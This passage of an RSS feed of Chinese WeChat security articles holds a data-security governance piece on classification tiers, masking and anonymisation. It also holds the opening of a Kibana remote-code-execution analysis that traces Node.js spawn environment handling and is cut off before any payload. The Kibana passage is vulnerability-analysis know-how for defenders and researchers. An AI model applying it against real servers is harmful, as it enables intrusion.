</p></section></section></section><p><br/></p>



<p><a href="2247483881">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=d2c1b439&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247483881%26idx%3D1%26sn%3D1fa632af9dae216711ba1dfe4d2f971b%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 24 Feb 2020 21:42:00 +0800</pubDate>
    </item>
    <item>
      <title>我眼中的数据安全治理</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483859&amp;idx=1&amp;sn=9e42a9b35cacfe202f48436143e3ca04</link>
      <description>随着大数据时代的到来，带了很多的便利，但是也带来了更多的风险，作为一名安全行业工作者，对于这种变革更是体会深刻，笔者从事的是金融行业的安全工作，在此从数据安全工作落地的角度来聊一聊数据安全治理及具体工作中碰到的问题。</description>
      <content:encoded><![CDATA[<p>
原创 <span>应用安全团队</span> <span>2020-01-06 16:57</span> <span style="display: inline-block;"></span>
</p>

<p>随着大数据时代的到来，带了很多的便利，但是也带来了更多的风险，作为一名安全行业工作者，对于这种变革更是体会深刻，笔者从事的是金融行业的安全工作，在此从数据安全工作落地的角度来聊一聊数据安全治理及具体工作中碰到的问题。</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=607fc3d9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6mekWciaxxbS18R8SS05YW8XRWT1bncoku317Ico5AbAv0jLSh5ADusdz4iapBtXt7MoQmHUzf76pw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="text-align: left;text-indent: 2em;" data-mpa-powered-by="yiban.io"><span style="font-size: 16px;color: rgb(0, 0, 0);font-family: Optima-Regular, PingFangTC-light;"><br mpa-from-tpl="t"/></span></p><section class="mpa-template" mpa-from-tpl="t"><section data-id="92737" mpa-from-tpl="t"><section style="width: 100%;" data-width="100%" mpa-from-tpl="t"><section style="width: 100%;border-left: dashed 2px #534a47;background:#f5f5f5;box-sizing: border-box;" data-width="100%" mpa-from-tpl="t"><section style="font-size: 14px;text-align: justify;letter-spacing: 1.5px;line-height: 1.75em;color: #3f3e3f;padding:0.5em 0.5em;" mpa-from-tpl="t" mpa-is-content="t"><span style="letter-spacing: 0.5px;">随着大数据时代的到来，带了很多的便利，但是也带来了更多的风险，作为一名安全行业工作者，对于这种变革更是体会深刻，笔者从事的是金融行业的安全工作，在此从数据安全工作落地的角度来聊一聊数据安全治理及具体工作中碰到的问题。</span></section></section><section style="display: flex;justify-content: flex-end;margin-top: -20px;" mpa-from-tpl="t"><section style="width: 0;height: 0;border-bottom:20px solid #ffffff;border-left:20px solid transparent;" mpa-from-tpl="t"><br/></section></section></section></section></section><p style="text-align: left;text-indent: 2em;"><br/></p><section style="text-indent: 0em;"><span style="font-size: 14px;letter-spacing: 0.5px;">18年5月《银行业金融机构数据治理指引》正式发布，于此同时数据安全治理工作也同步开始，一直持续至今，在进行数据治理工作的同时也参考了很多国内外的标准：</span><br/></section><p><span style="font-size: 14px;letter-spacing: 0.5px;">1.GDPR</span></p><p><span style="font-size: 14px;letter-spacing: 0.5px;">2.DSMM</span></p><p style=""><span style="font-size: 14px;letter-spacing: 0.5px;">3.ISO27701</span></p><p><span style="font-size: 14px;letter-spacing: 0.5px;">4.《银行业金融机构数据治理指引》</span></p><p><span style="font-size: 14px;letter-spacing: 0.5px;">5.《个人信息安全规范》</span></p><section style="text-align: left;margin-top: 10px;"><span style="font-size: 14px;letter-spacing: 0.5px;">DSMM，数据能力成熟度评估模型，以此为方向，围绕数据生命周期，延伸出具体需要管控的点，及落实的工作</span></section><p style="text-align: center;"><img class="rich_pages" data-ratio="0.874" data-s="300,640" style="" data-type="png" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=dd8ff467&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6mekWciaxxbS18R8SS05YW8bNMg2xC1xyxa54gnljcF4ibJLkcic0Ipia9ZhntaRJ4jI4HibvxDL63kzw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><span style="color: rgb(0, 0, 0);font-family: 宋体;font-size: 16px;text-align: left;"> </span></p><p><span style="font-size: 14px;letter-spacing: 0.5px;">依据数据的生命周期，我理了下在数据治理过程中需要注意的点及需要做的工作：</span></p><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);"> </span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="1.1777777777777778" data-s="300,640" style="" data-type="png" data-w="675" src="https://wechat2rss.xlab.app/img-proxy/?k=e2f6d617&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6mekWciaxxbS18R8SS05YW8WzHvtTib6AaicHl2Y6SfUkE7CDvRNucVVvLcwutcFgd46xN6SGSiaeulQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><p><span style="font-size: 14px;letter-spacing: 0.5px;">当然不止上面这些，比如终端安全、DLP等都需要进行严格控制，这些都是基于内部的数据安全控制措施，还有对于外部的威胁监控，比如敏感信息泄漏、业务方面的风险情报等也是我们需要关注的重点，不过在此不做详细介绍，仅列出一些在数据治理方面已经落地的点来做一下描述：</span></p><p><span style="font-size: 14px;letter-spacing: 0.5px;"><br mpa-from-tpl="t"/></span></p><section class="mpa-template" mpa-from-tpl="t"><section class="_editor" data-color="rgb(252, 180, 43)" mpa-from-tpl="t"><section style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: left;" mpa-from-tpl="t"><section style="display: inline-block;" mpa-from-tpl="t"><section style="font-size: 16px;padding-right: 10px;padding-left: 10px;color: rgb(73, 73, 73);" mpa-from-tpl="t"><p mpa-is-content="t">0X01 如何做好数据的分类分级标准</p></section><section style="background-color: rgb(252, 180, 43);height: 8px;margin-top: -10px;color: rgb(255, 255, 255);" mpa-from-tpl="t"><br/></section></section></section></section></section></section><section mpa-from-tpl="t"><section data-mpa-template-id="1228775" data-mpa-color="null" data-mpa-category="fav" mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section mpa-from-tpl="t"><section style="margin-top: 5px;"><span style="font-size: 15px;">●1.敏感等级的划分</span></section><section style="margin-top: 5px;"><span style="font-size: 15px;">●2.字段标准的确定及敏感等级确定</span></section><section style="margin-top: 5px;"><span style="font-size: 15px;">●3.屏蔽展示规则-脱敏要求</span></section></section></section></section></section></section></section></section><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 14px;">首先我们在做敏感等级的划分时一定不要定太多的等级，比如有这样定的S1、S2、S3、S4四级标准，也有这样定的四级标准：绝密、机密、秘密、非保密，当然也有定的绝密、机密、秘密、内部、公开五级标准，也有人提到定了7级的。</span></p><p style="margin-top: 10px;margin-bottom: 10px;"><span style="font-size: 14px;">具体如何做，这个纯属看自己选择，在此则要提醒一下：不要定太多等级，落地比较困难，会给自己挖坑的，个人建议四级比较合适，比如：绝密、机密、秘密、非保密。</span></p><table cellspacing="2" width="439"><tbody><tr><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">序号</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">字段名称</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">敏感等级</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">屏蔽规则</span></p></td></tr><tr><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">1</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">姓名</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">秘密</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">平**</span></p></td></tr><tr><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">2</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">手机号</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">机密</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">133****5678</span></p></td></tr><tr><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">3</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">身份证号码</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">绝密</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">1234**********6789</span></p></td></tr></tbody></table><p style="margin-top: 20px;margin-bottom: 10px;"><span style="font-size: 14px;letter-spacing: 0.5px;">其次，我们在制定数据标准的时候一定要考虑准确性和通用性，这两者之间其实是有点矛盾的，笔者在此就碰到过问题，我们有一个比较通用标准（手机号、姓名、性别、身份证号码…...），也有一个很详细的业务标准（个人中文名称、个人手机号、亲属手机号、代理人手机号……），这两套标准在我们数据打标落地的时候自然而然的就出现冲突，不过可以通过合理定位来解决这种冲突，通用字段标准用来做敏感数据打标，也是敏感数据识别的规则编写依据，而业务标准字段名称则作为业务使用是参考的一个数据标准。也可以将通用字段标准作为一个标签打在业务字段标准上，如下：</span></p><table cellspacing="2" width="454"><tbody><tr><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">序号</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">业务标准字段名称</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">标签属性（通用字段名称）</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">敏感等级</span></p></td></tr><tr><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">1</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">个人手机号</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">手机号</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">机密</span></p></td></tr><tr><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">2</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">亲属手机号</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">手机号</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">机密</span></p></td></tr><tr><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">3</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">代理人手机号</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">手机号</span></p></td><td valign="center" style="padding: 1px;border-width: 1px;border-color: windowtext;"><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);">机密</span></p></td></tr></tbody></table><section style="margin-top: 20px;"><span style="font-size: 14px;letter-spacing: 0.5px;">最后，为了保证敏感信息不被泄漏则需要遵从最小化原则的基础上，对业务所需名字段进行脱敏，数据的使用一类是具体的业务需求确实需要个人的对应字段信息，对于这类需求我们则需要在满足业务必要性的前提下对字段进行屏蔽或者替换。</span></section><p style="margin-top: 5px;"><span style="font-size: 14px;letter-spacing: 0.5px;">比如，在应用系统中对敏感字段进行关键部位屏蔽，或者查看敏感信息时进行二次身份认证，这种一般是在数据属主查看自己敏感信息时可以用到，对于企业进行数据分析时用到的大量的客户数据则不能通过这种方法，因为会存在数据聚合场景下的信息泄漏的风险，通过关联性分析可以匹配出对应的客户敏感数据，所以在制定敏感数据屏蔽规则的时候一定要对其应用场景进行分析.</span></p><section style="margin-top: 5px;"><span style="font-size: 14px;letter-spacing: 0.5px;">比如应用系统的敏感信息可以通过屏蔽实现，那么数据分析分析时则更好的方式是通过不可逆加密来实现.</span></section><section style="margin-top: 5px;"><span style="font-size: 14px;letter-spacing: 0.5px;">比如之前了解到的阿里的一个产品蚂蚁摩斯，通过一个中间平台，双方吧自己的数据各自加密，然后再通过平台二次加密从而匹配出需要的分析结果，这样就避免了.</span></section><p style="text-align:left;"><span style="font-family: 宋体;font-size: 16px;color: rgb(0, 0, 0);"> </span></p><section class="mpa-template" mpa-from-tpl="t"><section class="_editor" data-color="rgb(252, 180, 43)" mpa-from-tpl="t"><section style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: left;" mpa-from-tpl="t"><section style="display: inline-block;" mpa-from-tpl="t"><section style="font-size: 16px;padding-right: 10px;padding-left: 10px;color: rgb(73, 73, 73);" mpa-from-tpl="t"><p mpa-is-content="t">0X02  敏感数据识别</p></section><section style="background-color: rgb(252, 180, 43);height: 8px;margin-top: -10px;color: rgb(255, 255, 255);" mpa-from-tpl="t"><br/></section></section></section></section></section></section><p><span style="font-size: 14px;letter-spacing: 0.5px;">在我们确定好分级标准及字段标准后我们接下来要做的工作就是敏感数据的识别，对于敏感数据识别，我将其分为两部分：</span></p><section style="margin-top: 10px;"><span style="font-size: 14px;letter-spacing: 0.5px;"><span style="font-size: 15px;">●</span>1.敏感数据扫描</span></section><section style="margin-top: 10px;"><span style="font-size: 14px;letter-spacing: 0.5px;">上面我们已经制定了数据字段标准和敏感数据字段标准，在此基础上我们可以字段名称来制定识别规则，常用的匹配方式就是关键字和正则，关键字用来匹配名称，正则来识别字段的值</span><br/></section><section style="margin-top: 10px;"><span style="font-size: 14px;letter-spacing: 0.5px;"><span style="font-size: 15px;">●</span>2.敏感数据打标</span></section><section style="margin-top: 10px;"><span style="font-size: 14px;letter-spacing: 0.5px;">为了维护好我们们的基础数据标准，还要对我们识别出的敏感数据进行打标，可以将敏感等级标签打在数据库字段上，也可以在元数据管理上给字段打上安全等级标签。</span></section><section style="margin-top: 10px;text-align: left;"><span style="text-align: left;font-size: 14px;letter-spacing: 0.5px;">对于敏感数据的识别及打标最好还是有独立的平台来实现，考虑涉及的技术难度不大，建议自建平台，这样的话也可以根据己方实际的业务情况更加合理的编写识别规则，当然也可以采购一些已有的产品来实现，一些产品已经能够通过机器学习来实现智能化的数据打标，这样覆盖的字段也将更加全面，在建设敏感数据识别打标平台的同时也要注意下多元化的信息存储格式，比如关系数据库、面向对象数据库、数据仓库、文本数据源、多媒体数据库、空间数据库、时态数据库、异质数据库等。</span></section><section style="margin-top: 10px;text-align: left;"><span style="text-align: left;font-size: 14px;letter-spacing: 0.5px;">在此可以借鉴下美团鹏飞大佬的扫描器设计图，也可以通过此传送门学习下互联网公司的经验，传送门：</span><a href="https://mp.weixin.qq.com/s?__biz=MzI5MDc4MTM3Mg==&amp;mid=2247484309&amp;idx=1&amp;sn=cca42a7fc5aeadef6f5af22745cf4054&amp;scene=21#wechat_redirect" data-linktype="2" style="text-align: left;text-decoration: underline;"><span style="font-size: 14px;">https://mp.weixin.qq.com/s/DtGLFwcwNMCZseOKOAOC9Q</span></a><br/></section><section style="margin-top: 10px;text-align: left;"><br/></section><section class="mpa-template" mpa-from-tpl="t"><section class="_editor" data-color="rgb(252, 180, 43)" mpa-from-tpl="t"><section style="border-width: 0px;border-style: none;border-color: initial;" mpa-from-tpl="t"><section style="text-align: left;" mpa-from-tpl="t"><section style="display: inline-block;" mpa-from-tpl="t"><section style="font-size: 16px;padding-right: 10px;padding-left: 10px;color: rgb(73, 73, 73);" mpa-from-tpl="t"><p mpa-is-content="t">0X03  隐私保护</p></section><section style="background-color: rgb(252, 180, 43);height: 8px;margin-top: -10px;color: rgb(255, 255, 255);" mpa-from-tpl="t"><span style="color: rgb(0, 0, 0);font-family: 宋体;font-size: 16px;"> </span><br/></section></section></section></section></section></section><p><span style="font-size: 14px;letter-spacing: 0.5px;">围绕数据生命周期的安全过程，我将其分为两部分，数据安全和隐私保护，数据采集有内外之分，对于外部的数据采集需要数据属主的授权，在内部进行的数据采集则需要在不违背数据授权范围下进行，同时还要考虑数据的用途及业务合理性，但是我们再企业内部也经常会需要依托大量的用户数据进行一些分析统计，在此则不可避免的需要使用到用户的数据信息，那么我们又如何能够做到既不违背隐私保护的原则又满足自身的数据分析行为？</span></p><section style="margin-top: 5px;"><span style="font-size: 14px;letter-spacing: 0.5px;">对于隐私保护的方法及标准是否适用于我们业务诉求的场景，这个也是我们需要重点关注的点：</span></section><section style="margin-top: 5px;"><span style="font-size: 14px;letter-spacing: 0.5px;">数据匿名化的方法主要有去标识化、K-匿名、L-多样性、差分隐私，但是这些方法并不是适用于我们所有的业务交互的场景。</span></section><p style="margin-top: 5px;"><span style="font-size: 14px;letter-spacing: 0.5px;">在此我们则需要引入《个人信息安全规范》中的解释，匿名化主要是指个人信息在通过技术处理后，无法被识破或还原；去标识化指在我们应用系统中展示敏感信息的时候我们可能会做一些屏蔽处理，可以通过屏蔽关键位置来进行掩码；双方进行数据匹配碰撞的时候则可以通过对唯一标示性字段进行不可逆的算法处理，比如sha256、sm3这种摘要算法，进行碰撞然后再将结果与自己数据的映射关系进行比对从而获取想要的结果，K-匿名的应用其实也是有很大的限制，多用于统计分析类的场景，因为不需要具体匹配到某个人，只是做一个统计分析的结果。</span></p><section style="margin-top: 5px;"><span style="font-size: 14px;letter-spacing: 0.5px;">然而差分隐私则是应用于解决差分攻击的方案， 主要适用于统计聚合数据，比如连续的值、离散的数值。当然对于隐私保护也可以参考下GRC方法论，从治理、风险管理、合规三个领域来进行系统化综合评估才更加的严谨。</span></section><p><span style="font-size: 14px;"> </span></p><p style="text-align:left;"><br/></p><section class="mpa-template" mpa-from-tpl="t"><p><br mpa-from-tpl="t"/></p><section class="xmyeditor" data-id="28128" data-type="lspecial04" powered-by="xmyeditor.com" mpa-from-tpl="t"><section class="wxqq-bg" style="background-color: #ffac53;padding:10px;box-sizing:border-box;width:130px;margin:0 auto;border-radius: 6px;" powered-by="xmyeditor.com" mpa-from-tpl="t"><section style="width:110px;" powered-by="xmyeditor.com" mpa-from-tpl="t"><img class="mpa-template" data-cropselx1="0" data-cropselx2="110" data-cropsely1="0" data-cropsely2="110" data-ratio="1" style="width: 110px;vertical-align: middle;border-radius: 6px;height: 110px;" data-type="png" data-w="600" src="https://wechat2rss.xlab.app/img-proxy/?k=273635d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6mekWciaxxbS18R8SS05YW8zsGBbWkKpkZdZczug4j9jRKibfNGBBeLhWIC9tDThjoga1Eje4pkRwQ%2F640%3Fwx_fmt%3Dpng"/> </section></section><section style="display: -webkit-box;-webkit-box-pack: justify;width:170px;margin:-28px auto -10px;" powered-by="xmyeditor.com" mpa-from-tpl="t"><section style="width:40px;" powered-by="xmyeditor.com" mpa-from-tpl="t"><img class="mpa-template" data-ratio="1.0666666666666667" style="width:100%;vertical-align: top;" data-w="60" src="https://wechat2rss.xlab.app/img-proxy/?k=c1de580b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fc6gqmhWiafyodDqHNuC7k2qM896Vet0Tj1InGkJxRKHSpHicZenZ0Fq7cg2krsA5PW2qDJuzhBl5Fia3vKK7yOeXA%2F640"/> </section><section style="width:40px;" powered-by="xmyeditor.com" mpa-from-tpl="t"><img class="mpa-template" data-ratio="1.0666666666666667" style="width:100%;vertical-align: top;" data-w="60" src="https://wechat2rss.xlab.app/img-proxy/?k=1948a491&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FUS10Gcd0tQENdoltlmlstW79v8ibDFelRFeF4zfhcU2Ph4j4DicHdmTcsSrNweFcltgJ0dSbrpEIfNNabhQg0vnA%2F640"/> </section></section><section class="wxqq-Color" style="color:#ffac53;font-weight:bold;letter-spacing:1px;line-height:24px;text-align:center;" powered-by="xmyeditor.com" mpa-from-tpl="t"><p class="xmybrush" style="font-size:16px;padding:0px;margin:0px;">扫码关注</p></section></section><p><br/></p></section>



<p><a href="2247483859">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=a8144d17&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjI1MzU4Mg%3D%3D%26mid%3D2247483859%26idx%3D1%26sn%3D9e42a9b35cacfe202f48436143e3ca04%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 06 Jan 2020 16:57:00 +0800</pubDate>
    </item>
    <item>
      <title>Kibana RCE漏洞详细分析教程</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjI1MzU4Mg==&amp;mid=2247483829&amp;idx=1&amp;sn=31d1e121c9587885a543555a557f4ddd</link>
      <description>Nodejs的子进程创建如何获取客户端参数的代码写在了proccess.js中，我们关注下客户端参数解析以上</description>
      <content:encoded><![CDATA[<p>
<span>​xsser</span> <span>2019-11-04 20:46</span> <span style="display: inline-block;"></span>
</p>

<p>Nodejs的子进程创建如何获取客户端参数的代码写在了proccess.js中，我们关注下客户端参数解析以上</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=653682e1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F6PBwKvwj1Z6bIRlQrmJ7BD55YM60WgA07juayFoJyHLpeS6K2ENs4J0lJ9XDkyk2eprYxWKD7Ficma2bEDeQUQw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 style="line-height: 2em;"><span style="font-size: 15px;"><strong><span style="font-family: Arial;color: rgb(47, 84, 150);">N</span></strong><strong><span style="font-family: 微软雅黑;color: rgb(47, 84, 150);">odejs<span style="font-family: 微软雅黑;">的子进程创建</span></span></strong></span><span style="font-size: 17px;"><strong><span style="color: rgb(47, 84, 150);font-family: 微软雅黑;"></span></strong></span></h2><p><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">如何获取客户端参数的代码写在了</span><span style="font-family: Arial;color: rgb(63, 63, 63);">proccess.js</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">中，我们关注下客户端参数解析</span></span><span style="color: rgb(63, 63, 63);font-size: 15px;font-family: 微软雅黑;"></span></p><p style="text-align: center;"><img class="rich_pages" data-ratio="0.31788079470198677" data-s="300,640" style="" data-type="png" data-w="755" src="https://wechat2rss.xlab.app/img-proxy/?k=5463fa38&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F6PBwKvwj1Z6bIRlQrmJ7BD55YM60WgA0tvGjnOmyiaXNMyMZr6UibzVvdsKUhoSGZdNRGqBian2g7Hgqt4VJAJfBg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">以上代码是</span><span style="font-family: Arial;color: rgb(63, 63, 63);">nodejs</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">的</span><span style="font-family: Arial;color: rgb(63, 63, 63);">exec</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">方法的核心代码</span><span style="font-family: Arial;color: rgb(63, 63, 63);">(</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">卧槽，</span><span style="font-family: Arial;color: rgb(63, 63, 63);">node</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">自举了</span><span style="font-family: Arial;color: rgb(63, 63, 63);">)</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);"><span style="font-family: 微软雅黑;">。</span> <span style="font-family: 微软雅黑;">可以看到代码调用了</span></span></span></p><p style="text-align: left;"><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">normalizeExecArgs(command, options, callback);</span></p><p style="text-align: left;"><span style="font-size: 14px;"><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">而其中的</span><span style="font-family: Arial;color: rgb(63, 63, 63);">options</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">，是我们传入的命令行的参数，这个函数又调用了</span></span></p><p style="text-align: left;"><span style="font-size: 14px;"><span style="font-family: Arial;color: rgb(63, 63, 63);">function normalizeSpawnArguments</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">，而这个函数又调用了</span><span style="font-family: Arial;color: rgb(63, 63, 63);">execFile</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">，而</span><span style="font-family: Arial;color: rgb(63, 63, 63);">execFile</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">调用了</span><span style="font-family: Arial;color: rgb(63, 63, 63);">spawn</span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">，而在</span><span style="font-family: Arial;color: rgb(63, 63, 63);">spaw</span><span style="font-family: 微软雅黑;color: rgb(63, 63, 63);">n</span><span style="font-family: Arial;color: rgb(63, 63, 63);"> </span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">里定义了这样的代码</span></span></p><p style="text-align: left;"><span style="font-size: 14px;"><span style="font-family: Arial;color: rgb(63, 63, 63);">const env = options.env || process.env;  </span><span style="color: rgb(63, 63, 63);font-family: 微软雅黑;">获取客户端的</span><span style="font-family: Arial;color: rgb(63, 63, 63);">options</span></span></p><p style="text-align: left;"><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">  const envPairs = [];</span><span style="font-family:Arial;color:rgb(63,63,63);font-size:15px;"></span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;"> </span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">  // process.env.NODE_V8_COVERAGE always propagates, making it possible to</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">  // collect coverage for programs that spawn with white-listed environment.</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">  if (process.env.NODE_V8_COVERAGE &amp;&amp;</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">      !ObjectPrototype.hasOwnProperty(options.env || {}, &#39;NODE_V8_COVERAGE&#39;)) {</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">    env.NODE_V8_COVERAGE = process.env.NODE_V8_COVERAGE;</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">  }</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;"> </span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">  // Prototype values are intentionally included.</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">  for (const key in env) {</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">    const value = env[key];</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">    if (value !== undefined) {</span></p><p><span style="font-family: Arial;color: rgb(63, 63, 63);font-size: 14px;">      